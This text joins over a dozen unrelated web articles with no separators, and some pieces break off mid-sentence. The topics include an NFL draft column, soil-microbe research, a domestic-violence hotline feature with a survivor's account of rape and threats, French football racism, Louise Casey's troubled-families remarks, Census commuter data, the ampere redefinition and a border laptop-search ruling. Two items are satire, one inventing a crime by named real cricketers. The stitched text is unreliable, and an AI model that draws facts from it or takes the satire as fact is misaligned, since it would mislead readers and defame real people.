As the sideline reporter on Northwestern’s radio broadcasts, I saw every game Walker played in the last two seasons. Some have criticized him for playing too heavy in 2016, but the reality is a training camp knee injury severely limited Walker for a big portion of the season. As the guy everyone looked up to on that defense, Walker gutted his way through the injury and looked much better later in the season when he was closer to full health. In 2015, Walker proved that he has the speed and athleticism to be a very good linebacker at the next level and those traits were on display at the Combine and his Pro Day when he was fully heathy. Walker is a high-character guy with strong leadership skills and a floor that will keep him in the NFL for a long time. Given Jerrell Freeman’s age (almost 31) and Danny Trevathan’s ruptured patellar tendon, the Bears need more options at inside linebacker and Walker would be a tremendous pick.
4th round, No. 10 (No. 117 overall from Buffalo)** – QB Brad Kaaya, Miami (6-3 7/8, 214)
While I believe Cal’s Davis Webb and Pitt’s Nathan Peterman are going to be over-drafted, it seems that Kaaya could be the mid-round quarterback who exceeds expectations. I expected him to do more in 2016, but he was playing hurt and adjusting to Mark Richt’s pro-style offense. That experience should help him transition to the NFL, where he’ll still need a year or two to develop. Kaaya’s arm strength is “good enough” and while I don’t love his release, I believe he’ll be a solid backup who has the traits to develop into a starter. Kaaya is my No. 6 ranked quarterback this year.
5th round, No. 3 (No. 147 overall) — OLB Carroll Phillips, Illinois (6-3 1/4, 242)
Phillips is a 24-year-old “one-year wonder,” which is why I think he’ll still be available early in the fifth round. Despite seeing Phillips post three TFLs and a sack against Northwestern in November, I didn’t seriously consider him as an NFL prospect until I saw him working as an outside linebacker at Senior Bowl practices. He was a 4-3 defensive end at Illinois, but is too small to play there in the NFL. Despite his inexperience standing up, Phillips looked good bending and rushing the edge in Mobile. He has the speed and athleticism to be an explosive pass rusher at the next level, but lack of strength could be an issue. At a minimum I think he can be a rotational 3-4 edge rusher and a solid special teamer. It’s worth noting that the Bears coached Phillips at the Senior Bowl.
7th round, No. 3 (No. 221 overall) – CB Gareon Conley, Ohio State (6-0, 195)
I’m sure |
microbial populations are actually hyper-local, explains Vanessa Bailey, a microbiologist at Pacific Northwest National Labs. The soil she studies at the foot of Rattlesnake Mountain in Washington State is actually quite different from the soil at the top, with an elevation change of just 3500 feet.
What this means for scientists is two-fold. For one, it means that microbial diversity in soil alone is probably far more immense than anyone had anticipated. “We have the tools now to describe microbes in much greater detail than even five or ten years ago,” said Noah Fierer, a microbiologist at the University of Colorado at Boulder. “Yet 80 percent of the soil microbes in Central Park are still undescribed. There’s a lot of diversity to reckon with.”
The second implication is that two different ecosystems, even those in close proximity, could have very different microbes living in their soil. A plant might survive drought not because of something inherent to its physiology, but because of the assortment of symbiotic microbes in the dirt, Fierer said. Plant the seeds elsewhere, and they may not be able to germinate, grow and thrive without the proper mixture of bacteria and fungi. As researchers began learning more about the depth and complexity of these interactions, Bezemer realized that could explain why his native country’s attempts at returning farmland to native ecosystems was failing.
The process could work, Bezemer believed, if the right soil was present. At first, he tried moving the soil wholesale. It wasn’t a problem for small projects in pots and greenhouses, but scaling any projects up would be difficult, as soil is heavy and hard to move. Still, these early trials gave Bezemer enough data to show that seeds did better when they were planted in soil taken from other ecosystems where those species thrived.
Not only did the plants grow better, but the transplanted soil also prevented weeds and other non-desired plants from dominating the new system before the native species had a chance to take hold.
For Bezemer, the problem with this approach was the amount of soil needed. To adequately convert farmland to grass or heathland across the Netherlands, conservationists would effectively have to strip all of the soil from healthy ecosystems. But if microbes were the important factor, then maybe he didn’t need massive quantities of dirt.
Since no one knew exactly what microbes were important and in what quantities, Bezemer couldn’t simply sprinkle bacteria on the desired area. But, he theorized, perhaps small amounts of soil contained enough microbes to get the system started and set it on the desired path.
In some of the plots, the researchers removed the old layer of topsoil and exposed the sandy subsoil. In others, however, they left the existing topsoil intact. They then covered it with a centimeter or two of soil from either grassland or heathland, sowed a variety of seed, and waited.
The experiment took six years, but the data clearly showed that the donor soil steered the former agricultural land towards an ecosystem that looked like the original source. Grassland soil created grassland, heathland became heathland. Stripping the topsoil allowed for stronger donor soil effects, and the ecosystems also recovered faster.
Bailey, who published her own study earlier this year on how climate change might affect soil microbes, says that these results show not only the effects of donor soil on ecosystem restoration, but also how competition between soil microbes can affect how plants grow. The likely reason that the inoculations had less of an effect when the topsoil wasn’t removed was competition between the existing microbes and the ones in the transplanted soil.
“Microbes behave in surprising ways, and we need a better understanding of how they colonize soil and of all of the different ecological processes that these microbes carry out. We really have no idea,” Bailey said. Scientists still don’t know how and why these soil transplants work, just as they really don’t know much about why fecal transplants are so successful in humans. This paper shows, however, that the soil transplants do in fact work, Bailey says.
Fierer praised the study, saying it “highlights the links between soil and ecosystem health, showing the power that changing soil can have,” but also raised a note of caution. The researchers may have used a much smaller amount of soil than previous experiments, but it would still take massive amounts of dirt to restore even small areas. Nor can anyone be sure what in the soil is driving the ecological changes. Bezemer and other soil experts agree that it’s almost certainly the microbes, but given the complexity of soil, nothing can yet be ruled in or out.
Soil remains an ecological black box for scientists. Even now, researchers are just beginning to understand how microbes that we can’t even see could potentially shape the world around us.North Korea has denied it is in the process of discussing an arms deal with the Palestinian group Hamas to help them in the ongoing Israel-Gaza conflict.
Dubbing the allegations as "fiction", Pyongyang said reports to this effect were being floated by the US in order to "isolate" North Korea.
A spokesperson for North Korea's foreign ministry said: "This is utterly baseless sophism and sheer fiction let loose by the US to isolate the DPRK [North Korea's official name] internationally.
"The US is working hard to deliberately link the DPRK to the so-called 'terrorist organisations' defined by it in a bid to divert the focus of international criticism to Pyongyang. The US is pulling up others under the pretexts of 'terrorism', 'killing of civilians' and the like, a gangster-like logic reminiscent of a thief crying'stop the thief'".
Earlier, a Western diplomat was cited by the Telegraph suggesting that Hamas was negotiating a deal with North Korea as the group's resources were drying up in the war against Israel.
The reported arms deal between Hamas and North Korea was thought to be worth hundreds of thousands of dollars. Lebanon-based groups were said to be brokering the deal.
Prolonged War
In the meantime, Israeli Prime Minister Benjamin Netanyahu has hinted that the raging conflict will not die down anytime soon.
"We will not finish the mission, we will not finish the operation without neutralising the tunnels [created by Hamas beneath the Gaza-Israel border], which have the sole purpose of destroying our citizens, killing our children," the Israeli premier said in a televised address.
"We need to be prepared for a protracted campaign. We will continue to act with force and discretion until our mission is accomplished."
The 22-day conflict has so far claimed the lives of 1,090 Gazans, most of them civilians, and 53 Israeli soldiers.Domestic violence hotline faces spike in demand
Updated
Meet the phone counsellors on the front line of Australia's battle against domestic violence.
"Has he hit you?" the woman asks down the phone.
It's just after 10:00am in an open-plan office in inner-city Brisbane. It's a busy street full of cafes and high-rise apartment complexes but the building is non-descript: there is no signage on the front and the ABC has been asked not to reveal anything about the location. Inside, four wall-mounted television screens display CCTV footage from the front and back doors and the car park.
"So, he has hit you in the past?" the woman says. "There is a [domestic violence order]. Okay..."
On the phone, a staff member from DV Connect — the Queensland-wide crisis counselling and emergency accommodation service for people experiencing domestic violence — tries to ascertain just how much danger the caller on the other end of the line is in.
Demand out of control
By this point in 2015, six women, two unborn babies, one child and one man have died in Queensland as a result of domestic violence.
On this call, one of more than 200 the service will receive over the course of the day, the woman's answers will help determine a threat level. Provided her life is not in immediate danger, the worker will start ticking boxes on a form: 'client fears for own safety'; 'client fears for children's safety'; 'client is pregnant'. What has the client experienced? Threats to kill? Attempted strangulation? Every detail is recorded.
"She was right in the middle of nowhere, so isolated, and she was really, really frightened. The loose plan with her was that she was going to make like she was going shopping [then contact us]... We never heard back." Susan Stephenson, telephone counsellor
Today, about a dozen telephone operators are taking calls from across the state. At 10:39am, a screen hanging on a wall shows a total of 33 calls in the queue. By 11:08am, it's 46.
The service overwhelmingly deals with situations in which the victim is female and the perpetrator male.
"We allocate $25,000 to $30,000 a month for client costs," says Di Mangan, DV Connect's CEO, referring to the amount of money the service spends booking last-minute flights, securing motel rooms and stocking fridges when a woman needs to be removed from her home.
"We spent $55,000 in January of 2014. It never went backwards. When we hit October, I gave up. I rang the Department [of Communities] and said: I cannot explain it, but it is beyond our control.
"Now, I am having to tell people who have been trained to take calls out of the queue, I am telling them not to take them if they can't."
The aim isn't to break up relationships. Rehabilitation is possible, Ms Mangan says, and while some men see court-issued domestic violence orders as a "challenge", others do respond to them.
But in the complex zone of intimate partner violence, the physical extraction of the victim is an important part of the process — and of DV Connect's work.
On the front lines of domestic violence This is the first article in a three-part series covering the experiences and perspectives of workers on the front line of Australia's fight against domestic violence. Part 2, 'Most of your shift' : How police tackle the intimate, dangerous world of domestic violence
: How police tackle the intimate, dangerous world of domestic violence Part 3, Who needs protection? Step inside a 'closed' domestic violence court This is the first article in a three-part series covering the experiences and perspectives of workers on the front line of Australia's fight against domestic violence.
"She was right in the middle of nowhere, so isolated, and she was really, really frightened," Susan Stephenson, one of the telephone counsellors, says of a woman she remembers trying to help.
The client lived with her partner on a remote property. Chartering a flight for her was a possibility; getting her onto the mail plane was another. She was a homicide waiting to happen, Ms Stephenson says, and no effort was too great to get her to safety.
"The loose plan with her was that she was going to make like she was going shopping," she says. The DV Connect team would then wait to hear from her about the next course of action. "We never heard back."
'I am a dead woman talking'
DV Connect helped 'Charley' escape her abusive partner and reach emergency accommodation. This is her story, in her own words.
I met him when I was living overseas. And then we decided to make a serious relationship, so I came [to Australia].
In August, I had him removed for picking up an axe and talking about wanting to decapitate me.
He would talk about acid and how in his country throwing acid in someone's face, for revenge, that's the way to do it. 'My love, I will never shoot you, I will always use a machete, because you're worthy of that.'
Machetes and knives are personal; acid will leave me scarred for life to [the point] where no-one would want to be with me.
I was raped by him, but it's his word [against mine]. I had detectives spend an hour and a half with me telling me all the reasons why filing a statement is not in my best interest. 'Am I ready for a trial? They are going to prosecute me on the stand - do I really want to go through that? Maybe I should get therapy.
It's his word against mine. There were no witnesses. There is no injury. Did I go to the doctor?' Because I was raped with an object. 'Well, why didn't you go?' [I did] eight hours of statements. They questioned him for about 60 minutes and said, 'He agrees to everything that you said. Everything that you said happened. But you consented.'
I attempted suicide. I couldn't handle knowing that I was raped.
When I got out, I had two police officers say to me, 'Why did you do that? He's not worth it.' It had nothing to do with him. It had to do with how completely cut off and hopeless and abandoned I felt.
He was removed at the end of August. I stayed in that home by myself for about six weeks and slept with a knife under my pillow, waiting for him. They said, 'Leave'. I said, 'I have nowhere to go'.
He was posting some horrific things on Facebook. I filed a breach and said, 'You've got to stop him from doing this.' They did question him, twice, at my insistence, and then didn't charge him. He denied that they were about me. They said they believe they are about me but they can't prove it. They were pictures of somebody with a knife behind their back saying, 'You betrayed me.'
He would joke with me and say, 'Give me a report, where were you last night?' if I went out with my girlfriends or something. It was done as a joke. But when I look at it now, it wasn't.
I talk to women who say, 'Oh, the first time a guy hits me, I'm out of there.' Well, it doesn't start that way. What happens is, he throws a tea kettle, or a microwave, across the room and intentionally misses me. So now I know the threat of his control is at any time he could lose it and I could receive the violence.
Spitting was his thing. He would look at me and go... 'You're a piece of shit'. And I was appalled because I thought, 'How do I tell people this is how the guy I love talks to me?'
They put me in the women's refuge. It was actually through DV Connect. They helped me identify that I was vulnerable, that I was going to get through this, and that they were there for me 24/7.
I don't know what I would do if he showed up at my door. The first thing you do instinctively is you want to call the police. I don't have faith in the police here. My safety plan is not in their hands, it's in my hands.
Nothing will stop him. I'm a dead woman talking. But the alternative is to silence me.
When he says, 'You're a piece of shit' and 'You're lucky that I am with you', and I stay silent because I don't want to physically get hurt, that silence in that moment actually erodes who I am and builds that shame. Which then allows him to feed that shame cycle. So take that same theory: Now I am out of it, if I stay silent, I'm feeding that same shame.
Risk assessment
Mark Walters is the coordinator of Mensline, DV Connect's male-oriented phone counselling line that occupies a corner of this office.
Mensline receives about 15 to 20 calls a day — "miniscule" compared to Womensline, Mr Walters says. Instead, the majority of the workers' time is spent on outbound calls to men who have been referred to the service by police or ambulance workers or other members of the community. Of all the men the service deals with, the vast majority have been identified as an aggressor in a family violence situation.
The telephone counsellors do enter into meaningful conversations, Mr Walters says, ones that will motivate the man to take the next step, whatever that is. But one of the skills the workers must develop is how to navigate what Mr Walters calls "victim mode".
"When guys drop into the victim mode, it's almost like a compensatory behaviour: behave badly, make someone else feel awful, because you are feeling like a victim," he says.
"They can acknowledge that their behaviour is bad around the house, but they feel, 'Look, I am justified because of what's going on at work, or what's happened in my past. I am a victim here'."
"Sometimes you can get a real cold sense, a real disengaged, almost like a psychopathic sense from somebody, and they are very strategic in what they are letting you know." Mark Walters, coordinator of Mensline
Mr Walters says countering that victim stance involves teasing out the fact that, ultimately, everyone is responsible for their actions, regardless of their circumstances.
"You can acknowledge, 'Absolutely mate, it must have been awful growing up in a family like that. But what I've read is there is nothing really that reliably predicts the fact that you come home and you are really crazy with the family. And part of the reason I am saying that is, you can manage yourself at work OK, but when you come home, you just clock off, you go silly'."
At Womensline, the risk assessment that takes place is overt: how much danger are you in right now? At Mensline, that assessment is undertaken in a different way. So, you still home with the family, mate? How does that look? How many kids? What ages are they? Do you drink regularly, mate, every night?
"[It's] all built into the conversation but at the time I am thinking, how risky is this guy," Mr Walters says. "What do we need to feed back here?
"He's really belligerent, he's calling her effing whatever, not using her first name, 'the mother of my children', that sort of thing... You are doing risk assessments all the time really, and how they are either reacting or responding is informing where you are going with that discussion."
Mr Walters, who has been at Mensline for about nine years, over two stints, used to work with children affected by drugs and alcohol in Kings Cross. He says some of the most unsettling experiences have been phone messages men have left anonymously for the service.
"Sometimes you can get a real cold sense, a real disengaged, almost like a psychopathic sense from somebody, and they are very strategic in what they are letting you know... they are arms-lengthing you, and then you start to sense their agenda is about belittling services that help women, and [saying] 'what about men?'."
'He's going to kill me'
Telephone etiquette in this office is key.
Counsellors are advised to speak in a conversational way — and, importantly, not to type out the caller's responses to questions unless permission has been sought.
"She is pouring out her heart, and all she can hear is click click click," Ms Mangan says. "What does it say to her? It's sort of like 'get your story out, shut up, I need to get this done'."
Staff also need to know how to carefully extract information. In one instance, Ms Mangan took a call from a woman who said she needed somewhere to go.
"I said to her 'Are you experiencing domestic violence?' and she said 'No'," Ms Mangan remembers. "And I thought, she has rung the DV line, I better ask this question another way. And I said 'Can I ask you why you phoned?' and she said, 'He's going to kill me.'"
It is not just the numbers of calls that are rising, Ms Mangan says, but the depravity of the crimes being committed.
"You ask anyone — even talking to a member of my board who works in the area of child protection, he said they are finding the same thing," she says. "The complexity, the seriousness of the abuse. We are all seeing an increase in the severity of it."
"I said to her 'Are you experiencing domestic violence?' and she said 'No'.
And I thought, she has rung the DV line, I better ask this question another way.
And I said 'Can I ask you why you phoned?' and she said, 'He's going to kill me.'" Di Mangan, DV Connect chief executive
She says the whole sector, both government and non-government, needs a "shake-up" — and that it should start with a change of attitude.
"The Government has to say, 'We are just not even going to tolerate it. That's our statement, now everything must emanate from that'. We haven't got that."
She says the actions of the perpetrator, "sitting in the armchair in the suburbs", remain difficult to disrupt.
"And we are all running around him — we are taking her out, she is the one getting mental health [support], the cops are saying, 'Listen, mate, [we] don't want to have to do it again'. But no-one is dragging him off in chains. The magistrates are not saying 'Not putting up with this'. At some point we have got to say: domestic violence costs the community $2.7 billion a year. At what point is the community going to say this is a waste of my taxpayer money? The taxpayer money is paying for the refuges, it's paying for the court time, it's paying for the hospitals, it's paying the funeral expenses when these women are murdered."
On the wall nearby, a large board lists all the women's refuges in Queensland, coded by number. These are the shelters women and their children are evacuated to if it is no longer safe for them to stay in their home.
A DV Connect staffer will attach a red dot to a refuge number when a referral has commenced, letting the other counsellors know which centres have incoming women. The board is updated throughout the day with availability: a bed for one woman here, enough room for a woman and one child there. On the day the ABC visits, most of the 30-odd shelters have "FULL" written in red ink in next to them.
"We are really lucky today," Ms Stephenson says. "It's usually all red."
If you’re in an abusive situation or know someone who is, call 1800 RESPECT. If it's an emergency, call triple-0. You can also call Lifeline on 13 11 14 or contact the Safe Futures Foundation.
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Topics: domestic-violence, law-crime-and-justice, crime-prevention, brisbane-4000
First posted“There is a tendency to ethnicize what has happened,” she told a gathering of President Nicolas Sarkozy’s governing party, according to news reports. “Everyone condemns the lower-class neighborhoods. People doubt that those of immigrant backgrounds are capable of respecting the nation.”
She criticized Mr. Sarkozy’s handling of a debate on “national identity,” warning that “all democrats and all republicans will be lost” in this ethnically tinged criticism about Les Bleus, the French team. “We’re building a highway for the National Front,” she said, in a reference to the far-right, anti-immigrant, anti-Muslim party founded by Jean-Marie Le Pen.
Philippe Tétart, a sport historian at the Institut d’Études Politiques, said that the undercurrent of racism was “very unhealthy, but one of the predictable negative outcomes of the World Cup defeat.”
France is confused about its identity and uncomfortable with the growing numbers and sometimes the attitudes of its immigrants and their children, he said. “What is certain is that we are going through in France questions of disobedience, of incivility, of loss of bearings, and this group of irritated young kids is an excessive reflection of those questions.”
In 1998, the French team that won the World Cup was widely praised for its multiethnic nature — black, white and Arab, and seen as a symbol of a more diverse nation. But today, Mr. Tétart said, the talk is the opposite.
Today’s players, he said, “come from a generation who come from the banlieues, and they don’t necessarily have the cultural background to understand what they did.”
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Luc Chatel, the education minister, said on television Wednesday that he was “terribly angry” and shocked that Raymond Domenech, the team’s coach, who is blamed for some of the team’s disunity and apologized to the nation for the failures, refused to shake hands with the South African manager after the team’s final game.
“But I’m going to go farther,” he added. “A captain of the French team who does not sing ‘The Marseillaise,’ ” the national anthem, “shocks me, there it is. When one wears the jersey, one should be proud to wear the colors, you’re an example.”
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He was speaking of Patrice Evra, who was born in Senegal and who found himself caught between players and managers as the team refused to practice after another black player, Nicolas Anelka, swore at Mr. Domenech and was removed from the team.
Mr. Sarkozy himself called a meeting on the disastrous result on Wednesday, summoning Prime Minister François Fillon, Sports Minister Roselyne Bachelot and Rama Yade, the junior sports minister. In a statement, he said he had ordered them “to rapidly draw the lessons of this disaster.”
The racial makeup of the French team has long been an issue on the far right, even in a country where all the French are “citizens” and are supposed to have equal rights. Of the 22-man squad, 13 are men of color, with two born in French territories.
This month, Marine Le Pen, the vice president of the National Front and daughter of its founder, said that she did not see herself in the makeup of the team, whose players behaved as individuals, not as a team, and who were “fighting for advertising contracts more than for their country.”
“Most of these guys,” she added, “consider at one moment that they represent France at the World Cup, and at another they are a part of another nation or have another nationality in their heart.”
In her contempt, which carefully did not mention the factors of race and ethnicity but implied them, she was echoing her father, who in June 2006 criticized the team for containing too many nonwhite players and failing to accurately reflect society. He also went on to scold players for not singing “La Marseillaise,” saying they were not French.
On Tuesday, Mr. Le Pen said that “the myth of antiracism is a sacred myth in France.” He added, apparently with no irony, that he hated politicians who turned the national soccer team into “a flag of antiracism instead of sport.”
Now, the language of Mr. Chatel, the education minister, resonates with the themes of the Le Pens. That reflects, critics say, the general effort of Mr. Sarkozy and his party, over the last few years, to weaken the far right by playing on the same themes of patriotism, nationhood and identity.on
Australia all rounder Shane Watson has subtly reminded the selectors of the Australian cricket team that he has a set of photographs of them dumping the body of a dead hooker in a remote forest, just in case they were thinking of dropping him from the test side.
“The negatives are stored in a safe place that only Brad Haddin and I know the location of,” said the besieged Watson, whose place in the team has been in question since the day he was born. “If Rod Marsh wants to check his Facebook account he’ll find a PM containing a photo of Mark Waugh and himself carrying a dead hooker into the forest while Darren Lehmann follows with a shovel over his shoulder and Trevor Hohns holds a torch.”
“That explains everything”, said former Australian off spinner Ray Bright, author of The Dummies Guide To Being A Baffling Selection In The Test Team. “I myself owned a set of compromising photographs of Don Bradman in bed with a Thai ladyboy that I leveraged into a string of overseas tours.”
The Australian selectors have refused to comment on the story, preferring to spend the day hard at work cleaning the back tray of Darren Lehmann’s ute.
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Categories: SportWhen the theater students at Westmont High School in Dallas, TX found out that their school was about to get hit with massive budget cuts, they knew their theater program would be the first to go. But instead of just throwing up their hands and accepting defeat, the theater students did something unbelievable: They all came together to spoon each other at a party and never talk about it again.
Wow. What an amazing story about a group of teenagers who cared so much about their theater program that they were able to work together to share a night of sentimental spooning that they would later feel incredibly embarrassed about!
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After learning that their theater program was in danger, senior Taylor Coleman rallied the troops to meet at his house for an emergency meeting where they all just sort of curled up on the floor in the living room and whimpered while listening to Iron & Wine. Then one of the students had a brilliant idea: What if everyone said something that they’ve never told anyone before?
It was on.
With the budget cuts set to take effect as soon as November, the Westmont High theater students wasted no time getting to work awkwardly spooning each other and sharing intimate details of their lives in an attempt to be vulnerable with one another that ultimately just led to everyone feeling pretty weird. From Jake Lassiter giving Sarah Austin a massage for, like, an hour while Ellen Palmer kept trying to cuddle them from the side, to Thomas Meyers telling everyone about how he’s pretty sure his dad’s having an affair, every theater student stepped up and was open just enough with each other to ensure that everybody would try their best to forget this event ever happened.
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Incredible! It’s pretty inspiring that even when faced with the threat of losing their theater program, these students were able to come together to experience a night of such awkward cuddling and embarrassing vulnerability that they all just tacitly agreed to never bring it up again. Bravo, kids!Louise Casey, the head of the Government’s troubled families unit, says the state should “interfere” and tell women it is irresponsible to keep having children when they are already struggling to cope.
She told The Daily Telegraph that the Government must not be a “soft touch” but instead be prepared to “get stuck in”, challenge taboos and change lives.
Britain’s 120,000 problem families cost taxpayers an estimated £9 billion in benefits, crime, anti-social behaviour and health care. A fifth of them have more than five children. Miss Casey is leading a scheme to turn their lives around after they were blamed for last year’s riots.
“There are plenty of people who have large families and function incredibly well, and good luck to them, it must be lovely,” she said. “The issue for me, out of the families that I have met, [is that] they are not functioning, lovely families.
“One of the families I interviewed had six social care teams attached to them: nine children, [and a] tenth on the way. Something has to give here really.”
Miss Casey warns that the state must start telling mothers with large families to take “responsibility” and stop getting pregnant, often with different, abusive men.
“The responsibility is as important as coming off drugs, coming off alcohol, getting a grip and getting the kids to school.
“So for some of those women the job isn’t to go and find yourself another violent, awful bloke who you will bring a child into the world with, to start the cycle all over again.”
In the wake of last summer’s riots, David Cameron set up the troubled families unit to coordinate action against the problem. He appointed Miss Casey, who was previously Tony Blair’s “respect tsar”, to lead it.
Families who refuse help will be threatened with sanctions such as losing their council housing, having their children put into care or anti-social behaviour orders which, if breached, can lead to prison.
Miss Casey has travelled the country and has analysed the problems of 16 of the worst families, who cost the state up to £200,000 each a year. She said: “Yes, we have to help these families. But I also don’t think we should soft-touch those families. We are not running some cuddly social workers’ programme to wrap everybody in cotton wool.”
She recently visited a family court, where she watched a young woman lose her ninth child to care. The woman, a drug addict, was expected to get pregnant again and the state would intervene again to take the child away shortly after birth. Another mother described her child as a “nightmare” following yet another call from his school complaining of bad behaviour. “You’re the nightmare,” Miss Casey interjected to the shocked woman.
Miss Casey also says that many troubled families have officials monitoring all aspects of their lives without “getting stuck into the actual family”.
“In an odd kind of way, some of the families like the approach. They are not daft. Some of them talk about the fact they’ve known they have been evading help. You’ve got to have toughness. And it’s for the right reason, its not toughness for toughness’s sake. Its toughness so we make sure their kids get to school so they don’t end up as criminals.”
Under the £448 million programme, each family will have a dedicated worker whose job is to turn them around. Sometimes this will involve arriving early to ensure that children go to school. Miss Casey says that getting children to school, and encouraging teachers to keep them there, is the major challenge. “There are a lot of people who use the term 'diversionary activities’, things like angling, netball and all these activities. I always smile when I go along and hear we must set up more youth clubs.
“Actually, I say, the biggest diversionary activity on God’s earth is called school. If every kid in the country who should be in school [was] there, all day, every day, you would transform all sorts of problems.”
Miss Casey also believes that there needs to be a shift throughout society in attitudes over behaviour. “I think we should be better at talking about things like shame and guilt. And not being afraid to call a criminal a criminal.”
She says that the public has a duty to report problems to the police. “The more people are clear about the type of bad behaviour that they don’t want to see, and the more they complain about it, the more the police and other authorities are likely to do something about it. The worse thing they can do is suffer in silence.”
Miss Casey believes it is often “kindness” which stops people from getting involved. “We all know that some of these mums are seriously struggling,” she says. “I have never met women who woke up wanting to be bad parents. In my view, most people do want to be decent and do want their kids to behave. I’m just saying we are not helping anybody if we don’t call the police.”
Þ Single mothers will have up to £3,000 deducted from child support to cover the cost of chasing their former partners. Ministers expect up to 300,000 single parents to stop pursuing their ex-partners for cash when the new Child Maintenance Service starts charging fees next year.June 3, 2013 at 12:55 PM
If Microsoft’s sprawling, 125-building campus in Redmond seems like a city unto itself, that’s because it almost is.
As the cubicle-dwellers arrive each morning, Redmond’s population bulges to more than twice its size. In fact, newly-released Census data show that Redmond has the greatest spike in daytime population due to commuters, measured by percent increase, among all U.S. places with at least 50,000 residents.
During peak business hours, Redmond’s population jumps by 111 percent to about 110,000; that makes it, from 9 to 5, the seventh largest city in Washington. But come nightfall, Redmond shrinks back down to about 52,000, or the state’s 19th largest city.
Just 26 percent of Redmond’s massive workforce live there. Everybody else is commuting from somewhere else. Is it any wonder the traffic is such a nightmare? But take heart — light rail to Redmond should be up and running in a mere decade.
Among the nation’s 50 largest cities, Seattle ranks ninth for the percent change in its daytime population. The city grows by 27 percent, or about 158,000 people, during the day. Washington, D.C. is No. 1 among big cities with a 79 percent spike in its daytime population. In terms of gross numbers, New York City gains the most — more than 600,000 commuters.
Daytime population estimates are important numbers for city governments for a variety of reasons, including transportation planning and emergency/disaster preparedness.After it's all over, your lights will be just as bright, and your refrigerator just as cold. But very soon the ampere -- the SI base unit of electrical current -- will take on an entirely new identity,* and NIST scientists are at work on an innovative, quantum-based measurement system that will be consistent with the impending change.
This animation demonstrates how a single electron transport (SET) device works. Electrons flow across the device from the "source" to the "drain." A region of silicon between the gates -- called an "island" -- is used to briefly store single electrons.
By controlling the voltages of two gates, researchers can influence the electrons' movement, so that a single electron remains in the island before tunneling into the drain. By repeating this process at a high rate, many electrons flow one at a time across the device, providing a source of current.
It won't be a minute too soon. The ampere (A) has long been a sort of metrological embarrassment. For one thing, its 70-year-old formal definition, phrased as a hypothetical, cannot be physically realized as written:
The ampere is that constant current which, if maintained in two straight parallel conductors of infinite length, of negligible circular cross-section, and placed 1 meter apart in vacuum, would produce between these conductors a force equal to 2 x 10–7 newton per meter of length.
For another, the amp's status as a base unit is problematic. It is the only electrical unit |
peninsula – LavrovWith 2.57 million cars produced in the first seven months of the year, India has become the world's fifth-largest carmaker.
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For the first time in a decade, South Korea loses its top-five spot, producing 2.55 million cars during the same period.
Ahead of India are Germany (3.62 million), Japan (5.40 million), the US (7.08 million), and China (12.79 million).
If the trend continues, South Korea risks losing the fifth spot on an annual basis, the Korea Herald newspaper reported citing figures from the Korea Automobile Manufacturers Association.
Last year, the county’s produced 4.55 million vehicles, compared with India's 4.12 million units.
According to the media, officials are concerned because the local auto industry is facing a slump in domestic and export car sales which hit a seven-year low of just over 250,000 in August.
That came on the back of ongoing labor strikes by workers at Hyundai and Kia. Unions are demanding bigger wage increases, while a temporary tax cut on new car purchases was canceled in late July.
The strikes have resulted in a loss in production of 101,400 cars worth 2.23 trillion won ($2 billion), according to Hyundai’s top management.
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“High labor costs and militant labor unions have accelerated manufacturing facility relocation and this has led to a drop in South Korean auto parts manufacturers’ annual sales by more than five trillion won ($4.52 billion) in 2015 alone,” said an unnamed industry source as cited by the Business Korea portal.
Meanwhile, India’s domestic demand for vehicles continues to rise due to stable growth. Car production accounts for almost seven percent of the economy and employs about 19 million people directly and indirectly.
One of the stated goals of the national Make in India program is for the country to emerge as the destination of choice for design and manufacture of automobiles and auto components, with output reaching a level of $145 billion, accounting for more than 10 percent of the GDP and providing additional employment to 25 million people in 2016.The universities with the country’s most prominent athletics programs are expected to gain preliminary approval Thursday to break away from some of the strictures of the N.C.A.A., a significant change that would give them more freedom to govern themselves and could allow athletes to share in the wealth of college sports.
Under the proposal, the N.C.A.A. would clear the way for sports powerhouses like Alabama and Ohio State to pay their athletes a few thousand dollars more than what the current scholarship rules allow, loosen restrictions against agents and advisers, and revamp recruiting rules to ease contact with top prospects.
The so-called Big 5 conferences, with their glittering facilities and huge stadiums, have long existed in their own tier on the college sports landscape. But the vote Thursday would make their first-class status official, granting them greater autonomy from the N.C.A.A. rules that are currently applied evenly across 32 conferences and nearly 350 institutions in the N.C.A.A.’s top division.
The new rules would further widen the gulf between the 65 universities in the wealthiest conferences — the Southeastern Conference, the Atlantic Coast Conference, the Pac-12, the Big Ten and the Big 12 — and other universities across the country that have less money for their sports programs and would still be governed by N.C.A.A. rules.Federal agents at the border do not need any reason to search through travelers' laptops, cell phones or digital cameras for evidence of crimes, a federal appeals court ruled Monday, extending the government's power to look through belongings like suitcases at the border to electronics.
The unanimous three-judge decision reverses a lower court finding that digital devices were "an extension of our own memory" and thus too personal to allow the government to search them without cause. Instead, the earlier ruling said, Customs agents would need some reasonable and articulable suspicion a crime had occurred in order to search a traveler's laptop.
On appeal, the government argued that was too high a standard, infringing upon its right to keep the country safe and enforce laws. Civil rights groups, joined by business traveler groups, weighed in, defending the lower court ruling.
The 9th U.S. Circuit Court of Appeals sided with the government, finding that the so-called border exception to the Fourth Amendment's prohibition on unreasonable searches applied not just to suitcases and papers, but also to electronics.
The ruling (.pdf) came in a case where customs agents searched the laptop of Michael Arnold who was returning from the Philippines. They found images they believed to be child pornography, seized the laptop and later arrested him. While the lower court ruling excluded from trial the pictures of young boys the government says it found on the hard drive, they now can be used again.
The panel chose to follow the reasoning of a similar case from the 4th Circuit, known as Ickes (.pdf), which held that the government did not need any reason to search a vehicle crossing the border.
The 9th's ruling did not, however, clarify whether a traveler has to help the government search his computer, by providing the login information, or what would happen when the government decided to search a laptop with encrypted data on the drive. The defendant in the case can appeal the decision to the U.S. Supreme Court, but the Court is unlikely to take up an issue that two separate appeals courts have agreed upon.
In the meantime, travelers should be aware that anything on their mobile devices can be searched by government agents, who may also seize the devices and keep them for weeks or months. When in doubt, think about whether online storage or encryption might be tools you should use to prevent the feds from rummaging through your journal, your company's confidential business plans or naked pictures of you and your-of-age partner in adult fun.
The case is Arnold vs. USA.
Original Photo: dmealiffe
